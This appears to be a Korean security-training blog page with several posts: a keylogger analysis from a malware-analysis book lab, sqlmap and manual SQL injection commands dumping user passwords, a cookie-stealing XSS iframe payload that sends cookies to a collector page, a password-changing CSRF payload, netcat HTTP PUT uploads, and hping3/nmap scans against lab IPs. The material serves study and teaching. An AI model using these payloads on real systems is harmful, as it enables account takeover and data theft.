안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-3 을 분석해보고자 합니다.

분석환경은 Windows XP / Vmware 12.1.0 build 입니다.

 

1. Process Explorer로 이 악성코드를 모니터링했을 때 무엇을 알아냈는가?

분석할 파일은 Lab03-03.exe 입니다.

Process Explorer를 실행하고, 해당 실습파일을 실행시키면

아래와 같이 Lab03-03.exe이 실행되고, 서브프로세스인 svchost.exe가 같이 실행되는것을 볼 수 있습니다. (초록색) 

하지만 1~2초 정도 시간이 지나면, 아래와 같이 서브프로세스인 svchost.exe만 고아 프로세스로 동작하는 것을 볼 수 있습니다.

에서는 svchost.exe가 고아 프로세스라는 사실이 매우 일반적이지 않으며, 아주 의심스럽다고 표현합니다.

(아마 이런 부분은 많은 경험을 쌓아야 알 수 있겠죠...ㅜㅜ...)

svchost.exe의 경우, 바로 전 문제인 3-2 문제에서 특정 DLL 파일을 실행시키기 위한 수단으로 사용되었습니다.

 

2. 실시간 메모리 변조를 확인할 수 있는가?

Process Explorer에서 svchost.exe의 속성 -> Strings 탭으로 이동하면

디스크와(Image) 메모리(Memory)에 있는 실행이미지를 볼 수 있습니다.

Image와 Memory를 반복하여 누르면, 이미지가 상당 부분 일치하지 않음을 알 수 있습니다.

 

 

3. 악성코드임을 의미하는 호스트 기반 표시자는 무엇인가?

위 스크린샷에서 몇가지 특이한 문자열을 발견할 수 있는데,

practicalmalwareanalysis.log나 [ENTER]와 같은 문자열은 svchost에서 일반적으로 발견되지 않습니다.

아래에서 나오겠지만, 사용자가 입력한 엔터값이나 쉬프트값 등을

악성코드 제작자가 쉽게 알아보기 위해 '[ENTER]'와 같은 문자열로 대체하여 기록하기 위해 사용합니다.

(이번 경험을 통해서, 나중에 저런 문자열을 보면 키로깅 행위를 먼저 의심해 볼 수 있겠습니다.)

실제 키로깅 행위를 하는지 Process Monitor 툴을 이용하여 확인해보겠습니다.

 

1) ProcMon 필터설정

Process Explorer에서 생성되는 PID를 확인한 후, 아래와 같이 필터를 설정합니다.

 

2) ProcMon 이벤트값 확인

이후 메모장을 열어 아무 글자나 타이핑 한 뒤, 결과를 살펴보면

practicalmalwareanalysis.log 파일에서 CreateFile, WriteFile 등의 이벤트가 발생하는것을 볼 수 있다.

 

3) DWalker DLL 확인

DWalker를 이용하여 어떤 함수를 사용하는지 확인해보았습니다.

KERNEL32 DLL의 많은 함수를 사용하는것을 확인할 수 있었고,

CreateFile(파일생성), WriteProcessMemory(원격프로세스 데이터 작성, DLL인젝션에 사용 가능) 등이 보입니다.

 

4. 이 프로그램의 목적은 무엇인가?

ProcMon에서 발견한 practicalmalwareanalysis.log 파일을 편집기로 열어보면,

사용자 입력값이 프로그램 이름과 함께 기록되어 있음을 확인할 수 있습니다.

따라서, svchost.exe로 가장한 키로거로 판단할 수 있습니다.

 

posted by Red_Message
2016. 1. 27. 09:06 :: 웹 보안

1. SQLMap 도구 사용

가. Blind SQL Injection 을 자동으로 해주는 도구

나. 환경 준비

1) Pyhton 설치

https://www.python.org/

2) sqlmap 설치

http://sqlmap.org/

 

다. 도구 실행

1) cmd 에서 sqlmap 위치로 이동

2) sqlmap 실행

# cmd> python sqlmap.py 

3) 파라미터가 잇는 url 선택

http://192.168.1.144/board/board_view.asp?num=61

4) 실행

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

5) 기본 정보 확인 

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

 

6) 데이터베이스 이름을 가져오는 명령

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" --dbs 

 

7) board 데이터베이스의 tables 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" --tables 

 

8) board 데이터베이스의 member 테이블의 columns 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" --columns 

 

9) member 테이블의 Id, Name, Pass 필드를 확인(실제 원하는 값 확인)

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" -C bId,bName,bPass --dump 

 

2. OWASP Top 10

A1 - 인젝션

가. 데이터베이스와 연결된 웹 어플리케이션에서 사용자의 입력에 대한 검증이 제대로 이루어지지 않을 경우, 공격자에 의해 URL, 로그인 form 등의 위치에 조작된 query 문을 삽입하여 인증을 우회하거나, 데이터베이스 정보를 열람, 조작, 시스템 명령 실행등이 가능한 취약점

나. 진단방법

1) ' (Single Quatation) 삽입시 에러 발생 시 취약 진단

2) query에 참/거짓 결과가 다르게 출력

- and 1=1

- and 1=2

다. 대책

1) 개발자의 시큐어 코딩 필요

2) 웹 방화벽 등에서 입력 값 필터링

- ', or, and, union 등 SQLi 공격에 사용되는 문자열 필터링 : 블랙리스트

- 허용된 입력 값만 필터링 : 화이트리스트

 

A2 - 인증 및 세션 관리

가. 사용자를 인증하고 인증된 사용자를 관리하는 세션 관리 매커니즘이 불충분하여 취약점이 발생

암호화 없이 정보를 저장/전송하여 세션 정보가 노출

나. 유형

1) Cookie Poisoning

2) Session Reply Attack

3) Brute Attack

다. 진단 방법

1) Cooxie Toolbar 사용하여 쿠키값 조작이 가능한지 확인

2) 동일한 SessionID로 동시접속이 가능한지 확인

3) 아이디/패스워드 입력 오류 발생 시 차단정책 확인

라. 대책

1) 패스워드 정책 강화

2) 입력오류 누적시 차단정책 설정

3) 데이터 전송 암호화(SSL)

4) 중요 데이터 쿠키 저장 금지

5) 세션 타임아웃 시간 단축

6) 동시접속 로그인 금지

마. 실습

1) java 설치

http://java.com/ko/download/

2) burp(Web Proxy) 다운

https://portswigger.net/

- .jar 파일은 자바가 설치되어있어야 실행가능

- .jar 파일이 알집으로 열린다면 알집의 설정에서 jar 확장자를 해제해준다.

- Paros Web Proxy 도 같은 기능의 도구

3) 웹사이트에 아이디/패스워드를 입력한다.(틀려도 됨)

4) burp 에서 아래의 탭에서 자신이 입력했던 아이디/패스워드가 넘어가는 내용을 찾는다.

 

5) 우클릭 -> Send to Intruder

 

6) Intruder 탭 선택 -> 타겟을 확인한다. 

 

7) Positions 에서 Attack type -> Cluster bomb 선택 -> 입력할 필드를 선택한다.(아이디/패스워드)

 

8) Payloads 탭에서 7번에서 선택한 아이디/패스워드 에 입력될 내용들을 추가해준다.(Dictionary) 

 

9) 설정 완료 후 오른쪽 위쪽에 Start Attack 을 누르면 아래와 같이 모든 경우의 수를 입력하여 찾게된다.  

- Length 부분이 하나가 다르게 나오는데 내용을 확인하면 정상적으로 로그인이 되는 내용임을 알 수 있다.

 

A3 - 크로스 사이트 스크립팅(XSS)

가. 서버에 악의적인 스크립트를 포함시켜서 사용자의 브라우저에서 실행을 유도하여 사용자의 브라우저 및 시스템을 제어할 수 있는 약점

서버 측에서 공격자의 입력 검증이 불완전하여 발생

나. 유형

1) Reflected XSS : URL 영역에 사용, URL에 스크립트를 포함시켜서 서버에게 파라미터로 전달하고 서버는 스크립트를 만들어주는

   페이지에 포함시켜 전송

2) Stored XSS : 게시물에 스크립트를 등록, 공격자는 공격 스크립트를 서버에 저장

3) DOM based XSS : document object model 을 사용하여 조작, URL에 스크립트를 포함시키지만 서버에서 파라미터가 처리되지 않고 요청한 페이지가 클라이언트에게 돌아온 후 .........................

다. 진단 방법

1) URL의 파라미터 영역에 '<script>alert('xss');</script> 등의 스크립트 입력

2) 게시물에 <script>document.write(document.cookie);</script> 스크립트 입력

3) 기타 XSS cheat sheet를 사용하여 스크립트 필터링 우회 테스트

라. 대책

1) 스크립트 사용제한

2) HTML 태그 사용 제한 또는 혀옹된 태그만 필터링

3) 스크립트에 악용될 가능성이 있는 문자 치환

 

A4 - 취약한 객체 직접 참조

가. 웹 페이지를 include 하는 부분이 존재할 때, 공격자가 기존 페이지 대신 시스템에 직접 접근 가능한 경로를 삽입하여 시스템 파일이

노출되는 취약점

나. 유형

1) 경로 조작을 통한 시스템 파일 접근(내부 파일 include)

2) WebShell 등 외부 파일 실행(외부 파일 include)

다. 진단 방법

1) 웹 사이트의 URL 주소 상세 점검

2) 취약점 진단 툴을 통해 점검 가능

3) 관리자 뒤 단 페이지, 백업 파일 접근 가능 여부 점검

라. 대책

1) 외부 파일 삽입 금지

2) 에러 페이지는 따로 작성 후 직접 호출방식 사용

3) include 된 파일이 화면에 표시되지 않고 서버측에서 처리하도록 설정

 

A5 - 보안 설정 오류

가. 웹 서버나 웹 어플리케이션 설정 등이 Default 로 유지되고 있거나, 테스트 파일 등이 남아있는 경우 발생하는 취약점

나. 유형

1) 디렉토리 리스팅

2) 오류 메시지 출력

3) Banner Grabbing

다. 진단 방법

1) 디렉토리 리스팅 : URL 에서 파일명, 쿼리 스트링을 삭제하고 요청하여 결과 확인

2) 오류 메시지 점검 : 특수문자, 파라미터 변조, 존재하지 않는 파일 요청 등을 통해 발생하는 에러 페이지 확인

3) http 메소드 점검 : OPTIONS 메소드를 사용하여 허용되는 메소드 파악

4) 테스트 페이지, 기본 설정 페이지 등의 존재 여부 확인

라. 대책

1) 웹 서버 환결설정 보완

2) 웹 서버 구축 완료 후 불필요한 파일 삭제

 

A6 - 민감 데이터 노출

가. 불완전한 암호화 방식 사용으로 민감 데이터가 공격자에게 노출되는 약점

패스워드 정보, 신용카드 등의 개인 정보, 기타 인증과 관련된 정보

나. 유형

1) 암호화 해제

2) 스니핑을 통한 중요정보 노출

다. 진단 방법

1) 와이어샤크 등 패킷 시니핑 도구를 사용하여 패킷을 확인

2) Session Cookie 값의 암호화 해제 리스트

라. 대책

1) 암호화 사용지 강력한 암호화 표준 알고리즘 사용

2) SSL을 사용한 통신

 

A7 - 기능 수준의 접근 통제 누락

가. 사용자의 권한에 따라 웹 어플리케이션의 URL에 접근이 제어되어야 하는데, 세션 등의 관리 미비로 관리자 페이지로 접속하거나,

권한 없는 사용자가 권한을 획득할 수 있는 보안 취약점

나. 유형

1) 권한이 없는 CRUD(create,Read or Retrieve, Update, Delete or Destory)

다. 진단 방법

1) 파라미터 조작을 통한 권한 획득 확인

2) 과리자 페이지 접속 시도

3) 관리자 페이지의 뒷단 페이지 접속 시도

라. 대책

1) CRUD 작업 요청 시 세션 체크

2) 관리자 페이지 접속 시 IP인증/계정인증 등 Two Factor 인증 적용

 

A8 - 크로스 사이트 요청 변조(CSRF)

가. 정상적인 사용자에게 공격자가 명령을 전송하여, 사용자의 브라우저에서 공격자에게 이득이 되는 행동을 수행하게 하는 취약점

나. 유형

1) 관리자를 대상으로 한 공격자의 권한상승 공격

2) 사용자를 대상으로 한 요청 변조 공격

다. 진단 방법

1) 게시물, 웹 메일, 쪽지 등의 XSS 전송 가능 여부 점검

라. 대책

1) POST method 사용

2) Security Validation Token 사용

3) Referer Validation

 

A9 - 알려진 취약점이 있는 컴포넌트 사용

가. 개발에 사용된 컴포넌트, 라이브러리, 프레임워크, 기타 소프트웨어 모듈이 전체 권한이나 버그를 내포하고 있고, 보안 패치 등이 수행되지 않았을 경우, 권한과 버그를 이용하여 시스템을 공격할 수 있는 보안 취약점

나. 유형

1) 사용중인 컴포넌트 파악하여 정보 수집 후 공격

2) Struts, tomcat, WYSIWYG 도구, 오픈소수 게시판

다. 진단 방법

1) 사용중인 어플리케이션의 버전 정보 확인 후 취약점 정보 조회

2) 웹 어플리케이션 소스를 분석하여 사용중인 컴포넌트 파악 후 해당 컴포넌트 소스 다운로드 후 분석

라. 대책

1) 취약점이 존재하는 컴포넌트 배제

2) 사용중인 컴포넌트의 취약점 보완 패치 적용

 

A10 - 검증되지 않은 리다이렉트 및 포워드

가. 다른 페이지로 리다이렉트/포워드 할 때 신뢰 할 수 없는 경로로 이동

신뢰성 검증 부재로 발생하는 보안 취약점

나. 유형

1) <a>, <meta> 등을 사용한 페이지 이동

2) ClickJacking 기법

- 마우스 클릭(onmouseup) 이벤트를 통한 사이트 이동

- 피싱 사이트, 악성코드 유포 경유지 등으로 유인

- 방화벽 설정 변경, 프로그램 다운로드

다. 진단 방법

1) 웹 페이지 소스 리다이렉트/포워드 부분 점검

2) HTML 태그 허용여부 확인

라. 대책

1) HTML 태그 필터링 : 허용 문자만 입력하도록 화이트리스트 기반 필터링 적용

posted by Red_Seek
2016. 1. 26. 09:01 :: 웹 보안

1. Error가 막혀있지 않고 SQL 입력가능한 환경에서 SQL injection

가. 크롬 브라우저 이용

나. having, Group by 이용
다. ID 부분에 다음의 내용 입력

  ' having 1=1--
  ' group by idx--
  ' group by idx,level_idx--

 

라. having 은 group by 와 같이 나와야하는데 지금은 having 만 사용하여 에러처리가 되어있는지 확인하고, 그 에러를 야기시켜서 DB를 가져올수 있다. 

- ID : ' having 1=1--     입력 -> 아래와 같은 에러를 보여주는데 그 내용에 DB 내용을 볼 수 있다.

-> member.m_idx

 

- ID : ' group by m_idx--    입력 

-> member.m_id

 

-  ID : ' group by m_idx,m_id--    입력 

-> member.m_name

 

- ID : ' group by m_idx,m_id,m_name--    입력

-> 더이상 에러가 나오지 않는다.

-> 필드는 3개 라는것을 확인 가능하다.

 

마. 로그인후 chapter1 게시판의 정보 확인

- 위와 같은 방법으로 하나씩 알아낼 수 있다.

- 테이블 명 : chapter1

- 필드개수 : 7

- 필드명 : chapter1.idx, chapter1.ref_idx, chapter1.level_idx, chapter1.title, chapter1.name, chapter1.wtday, chapter1.hitcnt

 

바. 왜 위험한가?

1) union select 절

- 조건

① 열의 개수가 같아야 한다.

② 호환되는 데이터 형식을 가져야 한다.

③ 두개 이상의 테이블

- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from member-- 

-> 데이터 유형이 잘못됨을 나타낸다.

-> 어딘가 숫자를 요구하는 필드가 있다는 것을 의미

 

- ' union select 0,NULL,NULL,NULL,NULL,NULL,NULL from member--

- ' union select NULL,0,NULL,NULL,NULL,NULL,NULL from member--

-> .... 이런식으로 각 필드에 0을 넣어본다.

-> error 가 나오지 않는다.

 

- ' union select NULL,0,NULL,m_id,m_name,NULL,NULL from member--

- ' union select NULL,0,NULL,m_id,m_pwd,NULL,NULL from member-- 

-> m_id, m_pwd 정보를 찾을 수 있다. (m_id는 위에서 찾은 필드명이고, m_pwd는 유추하여 입력한 것이다.)

-> 이런식으로 원하는 필드를 찾을 수 있다.

 

- 현재는 에러 페이지 처리와 입력 값에 sql query 입력이 되는 두가지 문제로 인하여 위와 같은 공격이 된다.

- 보안 대책

가) 개발자가 sql 입력을 예외처리 해준다.

나) 에러 페이지를 처리해주어야 한다.

 

2. Error가 막혀있고 SQL 입력가능한 환경에서 SQL injection(Blind SQL injection)

가. 이것은 어떻게 아는가?

' and 1=1--        ->    상황에 따라 참, 거짓

' and 1=2--        ->    무조건 거짓

-> 논리적인 내용을 보내본다.

sql_6

sql_7

- 결과가 다르게 나오는데 원래는 해당 문자열이 들어간 내용을 찾아주어야하는데 아니다.

- 해당 검색 문자열이 무언가 결과에 영향을 준다는 의미

 

나. 논리적인 처리로 접근해본다.

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

->     |  여기부터 입력하면 된다.

-> db_name() : 현재 사용중인 테이블을 의미하는 함수

-> substring : 문자열 받아온다.

-> 1,1 : 첫번째 문자열에 첫번째 글자를 지칭 (1,2 : 두번째 글자

-> 그 글자가 107 이라는 숫자보다 큰지 확인한다.

-> 위 2줄의 sql 쿼리문을 넣어서 107이 참이고, 108이 거짓이면 해당 글자는 108 (소문자 L) 임을 알수 있다.

-> 이런식으로 한글자씩 찾는 방법이다.

 

다. 해당 공격이 가능한 페이지 찾는 방법

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=1--

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=2--

-> url 맨뒤에 필요없는 필드는 지우고 논리적인 쿼리를 입력해본다.

-> url 을 입력해서 결과를 비교해본다.

-> 1=1 은 그대로 유지되고, 1=2는 삭제된 게시물이라고 나온다.

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=1--

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=2--

-> 여기 페이지에는 블라인드 공격이 되지 않는다.

 

라. 공격

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

-> 처리된다. (오류창 발생 안함)

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

-> 삭제된 게시물이라고 나온다.

-> 첫번째 글자는 108 (소문자 L) 이 된다.

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,2)),0) > 97--

-> 두번째 글자를 아스키코드 97(소문자 a) 부터 찾는다.

- 이런식으로 DB 의 정보를 가져온다.

 

마. 인증이 필요한 웹서버 같은경우

- 로그인해서 쿠키값을 가져와서 넣어서 같이 보내는 것처럼 응용 가능

 

3. XSS(Cross Side Scripting)

가. server side 작성된 글에 client side script 를 이용한 공격 코드 작성

- 작성된 코드는 텍스트로만 쓰여서 보여야한다.

- 그런데 브라우저를 통하여 client 가 글을 읽을 때 공격코드가 실행된다.

- 필터링을 하여 해당 코드가 실행되지 않도록 해야한다.

- 웹 브라우징에서 가용성이 극대화 되면서 예외처리 부분이 되지않아 해당 공격가능

- 브라우징에서 많은 기능들이 사용된다.

 

나. 게시판에 글을 읽으면 쿠키정보를 가져오는 공격

1) <script>alert('test');</script>    ->    알림창 발생

2) DOM XSS

<script>document.write(document.cookie)</script>

가) 공격코드

<script>document.write("<iframe src='http://192.168.1.135/XSSAttack/Attack_Request.asp?cookie="+document.cookie+"' width=0 height=0></iframe>")</script>

-> document.cookie를 이용하여 글을 보고있는 사람의 쿠키를 해당 파일로 보내는 코드

나) 확인

http://192.168.1.135/XSSAttack/Attack_cookie.txt

다) 공격 페이지

http://192.168.1.135/XSSAttacker/Attacker_Requset.asp?cookie=aaa

-> aaa 라는 쿠키값을 보내게 된다.

라) 탈취한 쿠키를 적용시키면 해당 사용자로 인증접속 할 수 있다.

- EDIT COOKIE 부분에 탈취한 쿠키로 변경 후 SET 하면 인증접속 가능

 

4. CSRF (Cross-Site Request Forgery)

가. XSS 와 공격 원인은 같다.(예외처리가 되어있지 않다.)

나. 사실상 난독화등이 되어있어서 웹방화벽 등에서 예외처리, 필터링하기 힘들다.

다. 차이점 : 글을 읽는 사용자의 권한으로 재요청을 하게될 URL, 사이트 등과 같이 별도의 타겟이 있다.

- XSS는 글을 읽는 사람이 공격을 당하지만, CSRF은 글을 읽는 사람의 권한으로 별도의 타겟을 공격하는 것

라. 공격

1) 로그인 후 [정보수정] 버튼 눌러서 소스보기를 한다.

cs_1

- action : /member/mem_modify_ok.asp

- method : post(get 방식으로 전송됨을 확인했었음)

- pwd, name, email 변수 확인

2) 정보를 확인했으니 공격 코드를 작성한다.

http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=해킹했다&email=해킹@a.com

- get 방식으로도 동작하기 때문에 get 방식으로 작성

- action정보를 넣어주고 ? 뒤에 넘길 값을 작성해준다.

3) XSS 에서 했던 DOM 방식으로 작성한다.

<script>document.write("<iframe src='http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=너해킹됐어&email=해킹@a.com' width=0 height=0></iframe>")</script>

- 이 스크립트로 XSS에서 했듯이 게시물을 작성하면 글을 읽는 사용자의 권한으로 자동으로 실행되어 정보가 바뀐다.(pwd 1111)

마. 공격 가능 여부

1) 회원정보 수정 창에서 본인이 맞는지 인증을 하고 수정시켜야하는데 그렇지 않기 때문에 이 공격이 가능

 

posted by Red_Seek
2016. 1. 25. 09:17 :: 웹 보안

1. 웹

가. 개론

1) 네트워크나 시스템은 단일 대상

2) 웹 어플리케이션

- 웹은 혼자서 동작하는 경우가 없다.

- 다양하고 복합적인 자원이 같이 동작한다.

- 확장성이 용이하다.

3) 웹은 유행을 탄다.

- 웹을 잘한다 : 웹을 구성하고 있는 자원들을 잘 이해한다고 볼 수 있다.

 

나. 웹 프로세스 이해

1) Client Side

가) 종류 : html, javascript, applet, swf(플래시), xml, cookie 등

나) 브라우저 측에서 해석해준다.

다) 서버측으로 넘어가는것은 입력값 검증을 해주어야한다.(조작이 가능)

검증이 되지 않는다면 방어하지 못한다.

라) 클라이언트에 직접 영향을 준다. (브라우저에서 해석되어 보는것만으로도 악성코드, 스크립트 등이 동작)

2) Server Side

가) 웹 어플리케이션 : 웹서버와 DB 사이에서 입력되는 데이터값을 DB와 연동시키기 위해 사용된다.

- WAS : 서버 등을 관리하는 별도의 페이지, 제어 페이지가 따로 있는 환경

 

다. HTTP 프로토콜

1)개론

- 웹 상에서 파일(텍스트, 이미지, 비디오 등 멀티미디어)을 주고 받는데 필요한 프로토콜로서 TCP/IP 와 관련된 하나의 응용 프로토콜

- TCP와 UDP를 사용, 80번포트를 사용한다.

- 클라이언트와 서버사이에 이루어지는 요청/응답(Requset/Response) 프로토콜

- HTTPS : 443번 포트 사용

가) Requset Method

- GET : URL에 해당하는 자료의 전송을 요청

- HEAD : GET 과 같은 요청이지만 자료에 대한 정보만 받는다. 요청받은 자료는 되돌려주지 않는다.

- POST : 서버가 처리할 수 있는 자료를 보낸다.(content-length 로 body에 공간을 확보하여 body에 자료를 담아서 보낸다.)

- PUT : 메시지에 포함되어 있는 데이터를 해당 URL에 자료를 저장한다.

- DELETE : 해당 URL 의 자료를 삭제한다.

- TRACE : 요구 메시지의 최종 수신처까지 루프백 검사용. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시나 게이트웨이의

    중간 경로 및 최종 수신 서버까지 이르는 경로 추적

- OPTIONS : 자원에 대한 요구/응답 관계에서 관련된 선택 사항에 대한 정보를 요청

- CONNECT : 프록시가 사용하는 요청 방식

- COPY : 실행 권한이 있을 법한 경로로 복사한다.

나) State Code

- 100번대 : 정보 / 정보교환

- 200번대 : 성공 / 데이터 전송이 성공적으로 이루어졌거나, 이해되었거나, 수락되었음

- 300번대 : 방향 바꿈(Redirection) / 자료의 위치가 바뀌었음

- 400번대 : 클라이언트 오류 / 클라이언트 측의 오류. 주소를 잘못 입력하였거나 요청이 잘못되었음

- 500번대 : 서버 오류 / 서버 측의 오류로 올바른 요청을 처리할 수 없음

 

2) HTTP 1.1 Method 의 공격 시나리오중 하나

- OPTIONS : 상대방이 사용하고 잇는 allow method 정보를 볼수 있다.

- PUT : 원격의 서버에 임의 내용을 저장 (악성코드등을 서버에 심을 수 있다.)

- COPY : 실행 권한이 있을 법한 경로로 복사를 해준다.

- 공격

가) 실습

# nc.exe 192.168.1.129 80

# OPTIONS / HTTP/1.1

# host:192.168.1.129

- foot printing(정보수집)

- allow 를 보면 굉장히 취약함을 알 수 있다.

 

# nc.exe 192.168.1.129 80

# PUT /chapter1/upload/test1.html HTTP/1.1

# host:192.168.1.129

# content-length:10

# HTTP!!!!        ->    업로드할 텍스트

- 위와 같이 입력하면 IIS 서버에 해당 "HTTP!!!" 텍스트가 올라가게된다.

 

 

3) HTTP Request 에 포함된 상세정보

가) 요청 URL

나) 사용자 웹 브라우저 종류

다) 요청 데이터 타입

라) 쿠키 : 인증 정보, 클라이언트에 임의의 값을 주어서 세션을 유지하는 것

마) 경유지 URL : 이전 접속 페이지의 주소, 페이지 조작등이 가능할때 불법적인 접근을 확인할때

바) 요청 도메인

 

2.. 난독화

가. 정의

1) 프로그램을 변화하는 방법의 일종으로 코드를 읽기 어렵게 만들어 역공학을 통한 공격을 막는 기술

 

3. 모의해킹과 취약점 점검의 차이

가. 취약점 점검 : check list 에 의존한다. check list 를 넘으면 불법

나. 모의해킹 : 시나리오가 들어가고 이미 취약한 부분으로 인하여 피해유무를 증명하는 것

 

4. 웹 취약점 리스트

가. CWE

1) 연구 관점에서 발생할 수 있는 취약점

2) 의사코드 : 개발시 참조하는 가이드 코드(줄리엣 코드 -> CWE에서 나옴)

나. CVE

1) 감지된 보안취약점을 정리해 둔 목록, 보안 취약점의 히스토리

2) POC 코드 : 취약점에 대한 코드 

3) CVE-YYYY-NNN : CVE-년도-순번

다. OWASP Top 10

1) CVE에서 웹에 관련된 목록들을 정리한 목록(CVE 사이트 근거)

2) 그 해년도 많이 발생된 웹 취약점(완벽하게 신회할 수는 없다. 참고사항)

 

5. SQL Injection

가. 전제조건 : 일반 클라이언트는 웹 서버에 웹 어플리케이션에서 정의한 패턴만 DB에 요청이 들어가야한다.

나. 공격자는 전제조건을 우회해서 공격

- URL에 ? 기준으로 뒤는 파라미처(변수 등) 이고 db로 넘어가는 값, 앞쪽은 url과 경로등을 지칭

다. form tag 분석 및 실습

1) 웹 페이지에서 마우스 우클릭 -> 소스보기에서 form 의 내용으로 기본적인 사항을 확인 할 수 있다. 

<form name='login_form' action='/member/login_ok.asp' method='post'>

- action : 해당 form에서 이벤트 발생시 action 으로 넘겨간다.

- method : 넘기는 방식을 명시한다.

- post : content-length 을 이용하여 body 부분에 공간을 확보하여 보내는 방식

- get : url 에 정보를 담아서 보내는 방식

- 이때 진짜로 post 방식으로만 되는지 확인해야 한다. get 방식으로 해도 되는지 확인

-> http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 이런식으로 url에 정보를 담아서 접속해본다.(get)

-> 웹 어플리케이션에서는 넘어온 값들을 DB로 넘길때 다음과 같은 형태로 변수를 받아서 확인한다.

select * from member where id='&attacker0101&' and pwd='&0101&';

 

<input type='text' name='id' style='width:100px' onkeypress='javascript:enter_login()'>

<input type='password' name='pwd' style='width:100px' onkeypress='javascript:enter_login()'>

- input 필드에서는 항상 name, value 값을 확인하여 변수명, 값 등을 확인할 수 있다.

 

2) http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 get 방식으로 입력하여도 접속됨을 확인할 수 있다. 

 

3) ID / PW 에 특수문자를 넣는경우

- ID : ' or 1=1--

- PW : 아무거나

=> http://192.168.1.129/member/login_ok.asp?id=' or 1=1--&pwd=아무거나
=> select * from member where id='&' or 1=1--&' and pwd='&아무거나&';

가) sql 구문을 보게되면 " select * from member where id='&' " 여기서 sql 문장이 완성이 된다.

나) 그 뒤에는 or 조건으로 1=1 이 true 이기 때문에 전체 sql 문이 true 가 된다.

다) 그 뒤 -- 는 세미콜론(;) 을 의미한다.(데이터베이스 종류에 따라 다르다.) 그래서 sql 이 종료가 된다.

라) 세미콜론에서 전체 sql 구문이 끝나므로 그 뒤에 값을 보지도 않게된다.

마) 결과는 DB 로 넘어가는 sql 구문은 true 가 되기 때문에 패스워드에 아무값을 넣어도 로그인이 된다.

 

- ID : ' or '1'='1
- PW : ' or '1'='1

=> http://192.168.1.129/member/login_ok.asp?id=' or '1'='1&pwd=' or '1'='1
=> select * from member where id='&' or '1'='1&' and pwd='&' or '1'='1&';

가) 이번 경우에는 sql 구문을 찾아보면서 해석하면 ID / PW 필드 모두 true 값으로 되기 때문에 로그인이 된다.

 

4) 공격의 원리

- 입력한 값을 검증하지 않기 때문에 위와 같은 공격이 가능하다.

- 합법한 내용만 넘겨야하는데 개발자가 그 검증 부분을 넣지 않았기 때문이다.

 

 

 

posted by Red_Seek
2016. 1. 15. 09:05 :: 네트워크 보안

0. 실습 환경

가. kali

- IP : 192.168.221.130

- MAC :  00-0c-29-9a-be-c1

나. VM_win7

- IP : 192.168.221.135

- MAC :  00-0C-29-C7-7A-39

 

1. TCP, UDP 관련 공격

가. ack 스톰

나. 세션 하이재킹

다. syn 플루딩(DoS 공격)

라. flooding(tcp, udp)

마. port scan

 

2. TCP, UDP 가짜 세그먼트 만들기 : 포트 스캔

가. 참조 : c:\windows\system32\drivers\etc\services

나. 실습

1) victim : win7(VM), attacker : kali

가) UDP

 # hping3 -2 [victim_ip] -p 53

② # hping3 -2 [victim_ip] -p 139

 

③ 와이어샤크 확인

- 검정색으로 표시된 것은 ICMP 오류 메시지이다.

 

④ 해당 포트가 서비스 중이 아니라는 ICMP 패킷으로 오류 메시지가 온다.

- type 3, code 3 의 오류 메시지

 

# hping3 -2 [victim_ip] -p 137   [netbios 에서 이미 서비스중]

- 이미 서비스 중이기 때문에 서비스 중이 아니라는 오류 응답(type 3, code 3)이 오지 않는다.

 

나) TCP

# hping3 [victim_ip] -p 80 -S

# hping3 [victim_ip] -p 139 -S

 

③ 와이어샤크 확인

 

80포트에 SYN 패킷을 보내면 서비스 중이 아니므로 종료 시키는 RST 패킷으로 응답이 온다.

139포트는 서비스 중이기 때문에 SYN+ACK가 오지만 자신의 서비스가 아니기 때문에 RST 을 더 보내 종료 시킨다.

 

2) NMAP

가) -sS : 스텔스, 3-way 에서 마지막 ack를 보내지 않아서 로그가 안남는다.

나) -sN : flag에 아무것도 넣지 않아(null)서 RST 응답을 받고 판단

다) -sF : FIN 패킷만 보낸다.

라) -sX : flag를 여러개 같이 보낸다.

마) -sI : Idle, 좀비를 시켜서 해당 좀비의 ID를 모니터링해서 서비스가 열려있는지가 확인

(정확하기에는 좀비가 다른 통신이 없어야 정확함)

바) 대상이 정해져있지않는 경우 -iR 옵션(랜덤타겟)으로 사용

사) 스캔

- # nmap -sn 192.168.221.0/24

- # nmap -sS [vintim_ip]    =>    TCP

- # nmap -sU [vintim_ip]    =>    UDP

 

3. DoS(Denial of Service) : 서비스 거부 공격

 

4. DDoS : DoS에서 한단계 업그레이드 된 공격, 여러 대의 좀비 PC를 이용하여 공격하는 것이 특징이다.

 

5. DRDoS

 

6. MITM(Man In The Middle)

